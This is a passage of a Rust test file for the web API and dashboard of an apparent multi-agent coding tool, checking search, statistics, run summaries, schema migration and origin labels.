14997 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
14998 let f = Fixture::start().await;
14999 let queue = f.queue();
15000 let mut t = Task::new(
15001 "short title".to_owned(),
15002 "line one\nthe hidden Armadillo detail".to_owned(),
15003 PathBuf::from("/repo/magi"),
15004 Source::Agent {
15005 run: "r1".to_owned(),
15006 node: "chat".to_owned(),
15007 },
15008 );
15009 t.last_error = Some("disk full on /tmp".to_owned());
15010 queue.put(&mut t).expect("file the task");
15011
15012 for (q, want) in [
15013 ("armadillo", 1),
15014 ("disk%20FULL", 1),
15015 ("chat", 1),
15016 ("queued", 1),
15017 ("short%20nothing", 0),
15018 ] {
15019 let v = f
15020 .get(&format!("/api/search?scope=tasks&q={q}"))
15021 .await
15022 .json();
15023 assert_eq!(v["total"], want, "{q}: {v}");
15024 }
15025 for bad in [
15026 "/api/search?scope=tasks&q=",
15027 "/api/search?scope=tasks&q=%20",
15028 "/api/search?scope=chats&q=",
15029 "/api/search?scope=chats&q=%20",
15030 "/api/search?scope=nope&q=a",
15031 "/api/search?q=a",
15032 ] {
15033 assert_eq!(f.get(bad).await.status, 400, "{bad}");
15034 }
15035 }
15036
15037 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15039 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15040 .expect("seat value");
15041 let turns: Vec<serde_json::Value> = turns
15042 .iter()
15043 .map(|(who, body)| {
15044 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15045 })
15046 .collect();
15047 let doc = serde_json::json!({
15048 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
15049 "status": status, "turns": turns,
15050 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
15051 "seat": seat,
15052 });
15053 let dir = f.home.path().join("talks");
15054 std::fs::create_dir_all(&dir).expect("talks dir");
15055 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
15056 }
15057
15058 #[tokio::test]
15059 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
15060 let f = Fixture::start().await;
15061 write_talk(
15062 &f,
15063 "20260901-000001-aaaa",
15064 "open",
15065 &[
15066 (
15067 "operator",
15068 "\n Why does the Pangolin cache expire?\nsecond line",
15069 ),
15070 ("agent", "Because the TTL is thirty seconds."),
15071 ],
15072 );
15073 write_talk(
15074 &f,
15075 "20260901-000002-bbbb",
15076 "closed",
15077 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
15078 );
15079 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
15080
15081 let search = |q: &'static str| {
15082 let f = &f;
15083 async move {
15084 f.get(&format!("/api/search?scope=chats&q={q}"))
15085 .await
15086 .json()
15087 }
15088 };
15089
15090 let v = search("PANGOLIN").await;
15091 assert_eq!(v["scope"], "chats");
15092 assert_eq!(v["total"], 1, "{v}");
15093 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
15094 assert_eq!(v["hits"][0]["field"], "title");
15095 assert_eq!(v["unreadable"], 1, "{v}");
15096 let marked: Vec<&str> = v["hits"][0]["snippet"]
15097 .as_array()
15098 .unwrap()
15099 .iter()
15100 .filter(|p| p["hit"] == true)
15101 .map(|p| p["text"].as_str().unwrap())
15102 .collect();
15103 assert_eq!(marked, ["Pangolin"]);
15104
15105 let v = search("zebra").await;
15107 assert_eq!(v["total"], 1, "{v}");
15108 assert_eq!(v["hits"][0]["field"], "agent");
15109 assert_eq!(search("pangolin%20thirty").await["total"], 1);
15111 assert_eq!(search("pangolin%20zebra").await["total"], 0);
15112 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
15114 assert_eq!(search(q).await["total"], 0, "{q}");
15115 }
15116 assert_eq!(search("second").await["hits"][0]["field"], "operator");
15118 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
15120
15121 let v = f.get("/api/search?scope=nope&q=a").await;
15122 assert_eq!(v.status, 400);
15123 assert!(
15124 v.body.contains("scope must be runs, tasks or chats"),
15125 "{}",
15126 v.body
15127 );
15128 }
15129
15130 #[test]
15131 fn a_question_card_links_a_task_id_to_the_task_page() {
15132 let start = APP_JS
15133 .find("function updateAskCard(")
15134 .expect("updateAskCard exists");
15135 let body = &APP_JS[start..];
15136 let body = &body[..body.find("\n}\n").expect("function end")];
15137 assert!(body.contains("question.run_is_task"));
15138 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
15139 assert!(body.contains("`#/runs/${question.run}`"));
15140 assert!(body.contains("\"task\" : \"run\""));
15141 }
15142
15143 #[test]
15144 fn plain_text_message_surfaces_go_through_linkify() {
15145 assert!(APP_JS.contains("function linkify("));
15146 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
15147 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
15148 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
15149 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
15150 assert!(!APP_JS.contains("innerHTML = text"));
15151 }
15152
15153 #[test]
15154 fn implementation_rate_views_keep_independent_samples() {
15155 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
15156 let a = stats::AgentStats {
15157 competitive_entered: competitive_n,
15158 competitive_wins: usize::from(competitive_n > 0),
15159 solo_entered: solo_n,
15160 solo_adopted: 2 * usize::from(solo_n > 0),
15161 ..Default::default()
15162 };
15163 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
15164 for (key, n, numerator) in [
15165 ("competitive_win_rate", competitive_n, a.competitive_wins),
15166 ("solo_adoption_rate", solo_n, a.solo_adopted),
15167 ] {
15168 if n == 0 {
15169 assert!(v[key].is_null());
15170 } else {
15171 assert_eq!(v[key]["denominator"], n);
15172 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
15173 }
15174 }
15175 }
15176 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
15177 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
15178 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
15179 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15180 }
15181
15182 #[test]
15183 fn stats_bars_share_one_id_keyed_plan() {
15184 let start = APP_JS
15185 .find("function statsBarRows(")
15186 .expect("statsBarRows exists");
15187 let body = &APP_JS[start..];
15188 let body = &body[..body.find("\n}\n").expect("function end")];
15189 assert!(body.contains("statsBarPlan(rows)"));
15190 assert!(body.contains("statsAgentTone(row.agent)"));
15191 assert!(!body.contains("candTone(i)"));
15192 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15193 for root in [
15194 "stats-agents-bars",
15195 "stats-solo-bars",
15196 "stats-reviewers-bars",
15197 ] {
15198 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
15199 }
15200 }
15201
15202 #[test]
15203 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
15204 let start = APP_JS
15205 .find("function renderStatsReviewerScatter(")
15206 .expect("renderStatsReviewerScatter exists");
15207 let body = &APP_JS[start..];
15208 let body = &body[..body.find("\n}\n").expect("function end")];
15209 assert!(body.contains("statsScatterPlan(reviewers)"));
15210 assert!(body.contains("statsAgentTone(d.agent)"));
15211 assert!(APP_JS.contains("function statsScatterPlan("));
15212 assert!(
15213 APP_JS.contains("d.submitted < STATS_LOW_N")
15214 || APP_JS.contains("r.submitted < STATS_LOW_N")
15215 );
15216 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
15217 assert!(APP_CSS.contains(".precision-scatter"));
15218 }
15219
15220 #[test]
15221 fn advisor_reflection_is_drawn_as_stacked_segments() {
15222 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
15223 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
15224 let html = include_str!("../assets/ui/index.html");
15225 assert!(html.contains("Approximate"));
15226 for label in ["reflected strongly", "faint", "no proposal"] {
15227 assert!(html.contains(label));
15228 }
15229 let css = include_str!("../assets/ui/app.css");
15230 for c in ["refl-strong", "refl-faint", "refl-absent"] {
15231 assert!(css.contains(&format!(".{c} {{")));
15232 }
15233 }
15234
15235 #[test]
15236 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
15237 assert!(APP_JS.contains("function statsDailyPlan("));
15238 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
15239 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
15240 }
15241
15242 #[test]
15243 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
15244 let start = APP_JS
15245 .find("function scheduleSearch(")
15246 .expect("scheduleSearch exists");
15247 let body = &APP_JS[start..];
15248 let body = &body[..body.find("\n}\n").expect("function end")];
15249 assert!(body.contains("s.seq += 1"));
15250 }
15251
15252 #[tokio::test]
15257 async fn stats_runs_unreadable_matches_health() {
15258 let f = Fixture::start().await;
15259 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15260 let broken = f.runs().join("20260902-140502-bad");
15261 std::fs::create_dir_all(&broken).expect("run dir");
15262 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15263
15264 let stats = f.get("/api/stats").await;
15265 let health = f.get("/api/health").await;
15266
15267 assert_eq!(stats.status, 200);
15268 assert_eq!(stats.json()["totals"]["runs"], 1);
15269 assert_eq!(stats.json()["runs_unreadable"], 1);
15270 assert_eq!(
15271 stats.json()["runs_unreadable"],
15272 health.json()["runs_unreadable"],
15273 "the dashboard and /api/health must never disagree about how many \
15274 runs could not be read"
15275 );
15276 }
15277
15278 #[tokio::test]
15279 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
15280 let f = Fixture::start().await;
15281 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15282 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
15283 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
15284
15285 let totals = &f.get("/api/stats").await.json()["totals"];
15286 assert_eq!(totals["runs"], 3);
15287 assert_eq!(totals["merged"], 1);
15288 assert_eq!(totals["stalled"], 1);
15289 assert_eq!(totals["in_progress"], 1);
15290 assert_eq!(totals["blocked"], 0);
15293 assert_eq!(totals["ready"], 0);
15294 }
15295
15296 #[tokio::test]
15297 async fn stats_advisors_report_proposals_and_reflection() {
15298 use crate::advise::{Advice, AdvisorRecord, Reflection};
15299 use crate::verdict::Proposal;
15300
15301 let f = Fixture::start().await;
15302 let mut state = RunState::new(
15303 PathBuf::from("/repo/magi"),
15304 "main".to_owned(),
15305 "0123456789abcdef".to_owned(),
15306 "task".to_owned(),
15307 Config::default(),
15308 );
15309 state.id = "20260902-140501-a".to_owned();
15310 state.status = RunStatus::Merged;
15311 state.advice = Some(Advice {
15312 records: vec![
15313 AdvisorRecord {
15314 seat: "advisor-1".to_owned(),
15315 agent: "alpha".to_owned(),
15316 proposal: Some(Proposal {
15317 approach: "do it".to_owned(),
15318 key_tradeoff: "speed over memory".to_owned(),
15319 risks: Vec::new(),
15320 touches: Vec::new(),
15321 why_not_naive: "breaks under load".to_owned(),
15322 }),
15323 error: None,
15324 duration_ms: 0,
15325 reflection: Reflection::Strong,
15326 },
15327 AdvisorRecord {
15328 seat: "advisor-2".to_owned(),
15329 agent: "alpha".to_owned(),
15330 proposal: None,
15331 error: Some("timed out".to_owned()),
15332 duration_ms: 0,
15333 reflection: Reflection::Absent,
15334 },
15335 ],
15336 synthesis: Some("blended brief".to_owned()),
15337 });
15338 let dir = f.runs().join(&state.id);
15339 std::fs::create_dir_all(&dir).expect("run dir");
15340 std::fs::write(
15341 dir.join("run.json"),
15342 serde_json::to_string_pretty(&state).expect("serialize run"),
15343 )
15344 .expect("write run.json");
15345
15346 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
15348 let alpha = advisors
15349 .as_array()
15350 .expect("an array")
15351 .iter()
15352 .find(|a| a["agent"] == "alpha")
15353 .expect("alpha row");
15354 assert_eq!(alpha["seated"], 2);
15355 assert_eq!(alpha["proposed"], 1);
15356 assert_eq!(alpha["absent"], 1);
15357 assert_eq!(alpha["strong"], 1);
15358 assert_eq!(alpha["faint"], 0);
15359 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
15360 }
15361
15362 #[tokio::test]
15363 async fn stats_hides_agents_outside_the_roster_unless_all() {
15364 use crate::run::Candidate;
15365 let repo = TempDir::new().expect("repo dir");
15366 std::fs::write(
15367 repo.path().join("magi.toml"),
15368 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
15369 )
15370 .expect("magi.toml");
15371 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
15372 let mut state = RunState::new(
15373 PathBuf::from("/repo/magi"),
15374 "main".to_owned(),
15375 "0123456789abcdef".to_owned(),
15376 "task".to_owned(),
15377 Config::default(),
15378 );
15379 state.id = "20260902-140501-a".to_owned();
15380 state.status = RunStatus::Merged;
15381 for (label, agent) in [('A', "keep"), ('B', "retired")] {
15382 let mut c: Candidate = serde_json::from_value(serde_json::json!({
15383 "index": 0, "label": label.to_string(), "agent": agent,
15384 "branch": "b", "worktree": "/w",
15385 }))
15386 .expect("candidate");
15387 c.label = label;
15388 state.candidates.push(c);
15389 }
15390 let dir = f.runs().join(&state.id);
15391 std::fs::create_dir_all(&dir).expect("run dir");
15392 std::fs::write(
15393 dir.join("run.json"),
15394 serde_json::to_string_pretty(&state).expect("serialize run"),
15395 )
15396 .expect("write run.json");
15397
15398 let agents_of = |v: &serde_json::Value| -> Vec<String> {
15399 v["agents"]
15400 .as_array()
15401 .expect("array")
15402 .iter()
15403 .map(|a| a["agent"].as_str().unwrap().to_owned())
15404 .collect()
15405 };
15406 let hidden = f.get("/api/stats").await.json();
15407 assert_eq!(agents_of(&hidden), ["keep"]);
15408 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
15409 assert_eq!(hidden["totals"]["runs"], 1);
15410
15411 let all = f.get("/api/stats?all=true").await.json();
15412 assert_eq!(agents_of(&all).len(), 2);
15413 assert_eq!(all["retired_hidden"], serde_json::json!([]));
15414 let keep_agent = all["agents"]
15416 .as_array()
15417 .unwrap()
15418 .iter()
15419 .find(|a| a["agent"] == "keep")
15420 .unwrap();
15421 assert_eq!(keep_agent["competitive_entered"], 1);
15422 assert_eq!(keep_agent["competitive_wins"], 0);
15423 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
15424 assert_eq!(keep_agent["solo_entered"], 0);
15425 assert_eq!(keep_agent["solo_adopted"], 0);
15426 assert!(keep_agent["solo_adoption_rate"].is_null());
15427 }
15428
15429 #[tokio::test]
15430 async fn stats_release_bumps_split_clean_from_attention() {
15431 use crate::run::ReleaseBump;
15432
15433 let f = Fixture::start().await;
15434
15435 let mut clean = RunState::new(
15436 PathBuf::from("/repo/magi"),
15437 "main".to_owned(),
15438 "0123456789abcdef".to_owned(),
15439 "task".to_owned(),
15440 Config::default(),
15441 );
15442 clean.id = "20260902-140501-a".to_owned();
15443 clean.status = RunStatus::Merged;
15444 clean.release_bump = Some(ReleaseBump {
15445 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
15446 version: Some("1.0.0".to_owned()),
15447 automerge_enabled: true,
15448 merged_directly: false,
15449 local: false,
15450 release: None,
15451 problem: None,
15452 action_required: None,
15453 });
15454
15455 let mut blocked = RunState::new(
15456 PathBuf::from("/repo/magi"),
15457 "main".to_owned(),
15458 "0123456789abcdef".to_owned(),
15459 "task".to_owned(),
15460 Config::default(),
15461 );
15462 blocked.id = "20260902-140502-b".to_owned();
15463 blocked.status = RunStatus::Merged;
15464 blocked.release_bump = Some(ReleaseBump {
15465 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
15466 version: Some("1.0.1".to_owned()),
15467 automerge_enabled: false,
15468 merged_directly: false,
15469 local: false,
15470 release: None,
15471 problem: Some("checks red".to_owned()),
15472 action_required: Some("look at the PR".to_owned()),
15473 });
15474
15475 for state in [&clean, &blocked] {
15476 let dir = f.runs().join(&state.id);
15477 std::fs::create_dir_all(&dir).expect("run dir");
15478 std::fs::write(
15479 dir.join("run.json"),
15480 serde_json::to_string_pretty(state).expect("serialize run"),
15481 )
15482 .expect("write run.json");
15483 }
15484
15485 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15486 assert_eq!(bumps["merged"], 2);
15487 assert_eq!(bumps["recorded"], 2);
15488 assert_eq!(bumps["pr_opened"], 2);
15489 assert_eq!(bumps["automerge_enabled"], 1);
15490 assert_eq!(bumps["needs_attention"], 1);
15491 assert_eq!(bumps["clean"], 1);
15492 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
15493 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
15494 }
15495
15496 #[tokio::test]
15497 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
15498 let f = Fixture::start().await;
15499 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15500
15501 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15502 assert_eq!(bumps["merged"], 1);
15503 assert_eq!(bumps["recorded"], 0);
15504 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
15507 assert_eq!(bumps["automerge_rate"], Value::Null);
15510 assert_eq!(bumps["attention_rate"], Value::Null);
15511 }
15512
15513 #[tokio::test]
15514 async fn stats_queue_counts_come_from_the_live_queue() {
15515 let f = Fixture::start().await;
15516 let q = f.queue();
15517 let mut queued = Task::new(
15518 "queued task".to_owned(),
15519 "do it".to_owned(),
15520 PathBuf::from("/repo"),
15521 Source::Human,
15522 );
15523 q.put(&mut queued).expect("put queued");
15524 let mut held = Task::new(
15525 "held task".to_owned(),
15526 "do it later".to_owned(),
15527 PathBuf::from("/repo"),
15528 Source::Human,
15529 );
15530 held.hold_machine(Some("out of attempts".to_owned()));
15531 q.put(&mut held).expect("put held");
15532
15533 let queue = f.get("/api/stats").await.json()["queue"].clone();
15534 assert_eq!(queue["queued"], 1);
15535 assert_eq!(queue["held"], 1);
15536 assert_eq!(queue["running"], 0);
15537 assert_eq!(queue["done"], 0);
15538 assert_eq!(queue["failed"], 0);
15539 assert_eq!(queue["blocked"], 0);
15540 }
15541
15542 #[tokio::test]
15543 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
15544 let f = Fixture::start().await;
15545 let stats = f.get("/api/stats").await;
15546 assert_eq!(stats.status, 200);
15547 assert_eq!(stats.json()["totals"]["runs"], 0);
15548 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
15549 assert_eq!(stats.json()["runs_unreadable"], 0);
15550 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
15551 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
15552 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
15553 assert_eq!(stats.json()["repo"], Value::Null);
15554 }
15555
15556 #[tokio::test]
15557 async fn stats_lists_every_repository_with_runs_recorded() {
15558 let f = Fixture::start().await;
15559 write_run_repo(
15560 &f.runs(),
15561 "20260902-140501-a",
15562 RunStatus::Merged,
15563 "/repos/a",
15564 );
15565 write_run_repo(
15566 &f.runs(),
15567 "20260902-140502-b",
15568 RunStatus::Merged,
15569 "/repos/a",
15570 );
15571 write_run_repo(
15572 &f.runs(),
15573 "20260902-140503-c",
15574 RunStatus::Blocked,
15575 "/repos/b",
15576 );
15577
15578 let stats = f.get("/api/stats").await;
15579 assert_eq!(stats.status, 200);
15580 assert_eq!(stats.json()["totals"]["runs"], 3);
15582 assert_eq!(stats.json()["repo"], Value::Null);
15583
15584 let repos = stats.json()["repos"].clone();
15585 let repos = repos.as_array().unwrap();
15586 assert_eq!(repos.len(), 2);
15587 assert_eq!(repos[0]["repo"], "/repos/a");
15589 assert_eq!(repos[0]["name"], "a");
15590 assert_eq!(repos[0]["runs"], 2);
15591 assert_eq!(repos[1]["repo"], "/repos/b");
15592 assert_eq!(repos[1]["runs"], 1);
15593 }
15594
15595 #[tokio::test]
15596 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
15597 let f = Fixture::start().await;
15598 write_run_repo(
15599 &f.runs(),
15600 "20260902-140501-a",
15601 RunStatus::Merged,
15602 "/repos/a",
15603 );
15604 write_run_repo(
15605 &f.runs(),
15606 "20260902-140502-b",
15607 RunStatus::Blocked,
15608 "/repos/b",
15609 );
15610
15611 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
15612 assert_eq!(stats.status, 200);
15613 assert_eq!(stats.json()["totals"]["runs"], 1);
15614 assert_eq!(stats.json()["totals"]["merged"], 1);
15615 assert_eq!(stats.json()["repo"], "/repos/a");
15616 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
15619 assert_eq!(stats.json()["runs_unreadable"], 0);
15622 }
15623
15624 #[tokio::test]
15625 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
15626 let f = Fixture::start().await;
15627 write_run_repo(
15628 &f.runs(),
15629 "20260902-140501-a",
15630 RunStatus::Merged,
15631 "/repos/a",
15632 );
15633 write_run_repo(
15634 &f.runs(),
15635 "20260902-140502-b",
15636 RunStatus::Merged,
15637 "/repos/b",
15638 );
15639
15640 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
15641 let json = f.get(uri).await.json();
15642 let daily = json["daily"].as_array().expect("daily is an array");
15643 assert_eq!(daily.len(), 30);
15644 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
15645 let mut sorted = dates.clone();
15646 sorted.sort();
15647 assert_eq!(dates, sorted);
15648 for d in daily {
15649 assert_eq!(
15650 d["merged"].as_u64().unwrap()
15651 + d["ready"].as_u64().unwrap()
15652 + d["other"].as_u64().unwrap(),
15653 d["runs"].as_u64().unwrap()
15654 );
15655 }
15656 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
15657 }
15658 }
15659
15660 #[tokio::test]
15661 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
15662 let f = Fixture::start().await;
15663 write_run_repo(
15664 &f.runs(),
15665 "20260902-140501-a",
15666 RunStatus::Merged,
15667 "/repos/a",
15668 );
15669
15670 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
15671 assert_eq!(stats.status, 404);
15672 }
15673
15674 #[tokio::test]
15675 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
15676 let f = Fixture::start().await;
15677 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
15678
15679 let summary = f.get("/api/runs").await.json();
15680 let row = &summary[0];
15681 assert_eq!(row["short"], "a1b2");
15682 assert_eq!(row["status"], "ready");
15683 assert_eq!(row["done"], true);
15684 assert_eq!(row["title"], "Add a web UI");
15685 assert_eq!(row["repo_name"], "magi");
15686 assert_eq!(row["judges"], 3);
15687 assert_eq!(row["winner"], Value::Null);
15688 assert_eq!(row["reviews"], 0);
15689
15690 let detail = f.get("/api/runs/a1b2").await;
15693 assert_eq!(detail.status, 200);
15694 assert_eq!(detail.json()["base_branch"], "main");
15695 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
15696 }
15697
15698 #[tokio::test]
15706 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
15707 let f = Fixture::start().await;
15708
15709 let mut none_run = RunState::new(
15710 PathBuf::from("/repo/magi"),
15711 "main".to_owned(),
15712 "0123456789abcdef".to_owned(),
15713 "Add a web UI".to_owned(),
15714 Config::default(),
15715 );
15716 none_run.id = "20260902-140503-none".to_owned();
15717 none_run.status = RunStatus::Ready;
15718 none_run.merge = Some(crate::run::MergeOutcome {
15719 mode: crate::config::MergeMode::None,
15720 ok: true,
15721 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
15722 empty: false,
15723 });
15724 write_state(&f.runs(), &none_run);
15725
15726 let mut pr_run = RunState::new(
15727 PathBuf::from("/repo/magi"),
15728 "main".to_owned(),
15729 "0123456789abcdef".to_owned(),
15730 "Add a web UI".to_owned(),
15731 Config::default(),
15732 );
15733 pr_run.id = "20260902-140504-prcl".to_owned();
15734 pr_run.status = RunStatus::Ready;
15735 pr_run.merge = Some(crate::run::MergeOutcome {
15736 mode: crate::config::MergeMode::Pr,
15737 ok: false,
15738 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
15739 empty: false,
15740 });
15741 write_state(&f.runs(), &pr_run);
15742
15743 let summary = f.get("/api/runs").await.json();
15744 let rows: std::collections::HashMap<&str, &Value> = summary
15745 .as_array()
15746 .expect("an array")
15747 .iter()
15748 .map(|r| (r["id"].as_str().expect("an id"), r))
15749 .collect();
15750 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
15751 assert_eq!(
15752 rows[none_run.id.as_str()]["unmerged_by_design"],
15753 true,
15754 "a mode-none Ready must be flagged in the list"
15755 );
15756 assert_eq!(
15757 rows[pr_run.id.as_str()]["unmerged_by_design"],
15758 false,
15759 "a Ready reached by a closed pull request is a different case"
15760 );
15761
15762 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
15763 assert_eq!(none_detail["status"], "ready");
15764 assert_eq!(none_detail["unmerged_by_design"], true);
15765
15766 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
15767 assert_eq!(pr_detail["unmerged_by_design"], false);
15768 }
15769
15770 #[tokio::test]
15775 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
15776 let f = Fixture::start().await;
15777 let id = "20260902-140502-bbbb";
15781 let mut state = RunState::new(
15782 PathBuf::from("/repo/magi"),
15783 "main".to_owned(),
15784 "0123456789abcdef".to_owned(),
15785 "Add a web UI".to_owned(),
15786 Config::default(),
15787 );
15788 state.id = id.to_owned();
15789 state.status = RunStatus::Judging;
15790 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
15791 let dir = f.runs().join(id);
15792 std::fs::create_dir_all(&dir).expect("run dir");
15793 std::fs::write(
15794 dir.join("run.json"),
15795 serde_json::to_string_pretty(&state).expect("serialize run"),
15796 )
15797 .expect("write run.json");
15798
15799 let cold = f.get(&format!("/api/runs/{id}")).await.json();
15805 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
15806 assert_eq!(cold["live"], "unknown", "{cold}");
15807
15808 write_daemon(f.home.path(), Timestamp::now());
15811 let warm = f.get(&format!("/api/runs/{id}")).await.json();
15812 assert_eq!(warm["live"], "live", "{warm}");
15813 }
15814
15815 #[test]
15816 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
15817 let home = tempfile::tempdir().expect("temp home");
15818 let runs = home.path().join("runs");
15819 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
15820 let mut state = RunState::new(
15821 PathBuf::from("/repo/magi"),
15822 "main".to_owned(),
15823 "0123456789abcdef".to_owned(),
15824 "Generated review context, not authored task criteria".to_owned(),
15825 Config::default(),
15826 );
15827 state.origin = origin;
15828 state.status = RunStatus::Blocked;
15829 state.driver_exited = false;
15831 state.gate_ran = true;
15832 let expected = serde_json::to_value(&state).expect("serialize current state");
15833 let mut legacy = expected.clone();
15834 legacy["schema"] = serde_json::json!(13);
15835 legacy.as_object_mut().unwrap().remove("task_instruction");
15836 let dir = runs.join(&state.id);
15837 std::fs::create_dir_all(&dir).expect("run dir");
15838 let path = dir.join("run.json");
15839 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
15840 std::fs::write(&path, &body).expect("write legacy run");
15841
15842 for loaded in [
15843 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
15844 read_run(&runs, &state.id).expect("web migration"),
15845 ] {
15846 assert_eq!(loaded.schema, crate::run::SCHEMA);
15847 assert!(loaded.task_instruction.is_none());
15848 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
15849 }
15850 assert_eq!(runs_unreadable(&runs), 0);
15851 assert_eq!(std::fs::read(&path).unwrap(), body);
15852 }
15853 }
15854
15855 #[tokio::test]
15858 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
15859 let f = Fixture::start().await;
15860 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
15861 let mut state = RunState::new(
15862 PathBuf::from("/repo/magi"),
15863 "main".to_owned(),
15864 "0123456789abcdef".to_owned(),
15865 "Add a web UI".to_owned(),
15866 Config::default(),
15867 );
15868 state.id = id.to_owned();
15869 state.origin = origin;
15870 let mut value = serde_json::to_value(&state).expect("serialize run");
15871 if let Some(schema) = schema {
15872 value["schema"] = serde_json::json!(schema);
15873 value.as_object_mut().unwrap().remove("origin");
15874 }
15875 let dir = f.runs().join(id);
15876 std::fs::create_dir_all(&dir).expect("run dir");
15877 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
15878 };
15879 write(
15880 "20260930-092817-ec34",
15881 Some(crate::run::Origin::from_agent_env(
15882 Some(("4a7b".to_owned(), "chat".to_owned())),
15883 None,
15884 )),
15885 None,
15886 );
15887 write("20260930-092817-0ld1", None, Some(12));
15888
15889 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
15890 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
15891 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
15892
15893 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
15894 assert_eq!(
15895 old["origin_label"], "origin unknown (started before origins were recorded)",
15896 "{old}"
15897 );
15898 assert!(old["origin"].is_null(), "{old}");
15899
15900 let list = f.get("/api/runs").await.json();
15901 let labels: Vec<_> = list
15902 .as_array()
15903 .unwrap()
15904 .iter()
15905 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
15906 .collect();
15907 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
15908 }
15909
15910 #[tokio::test]
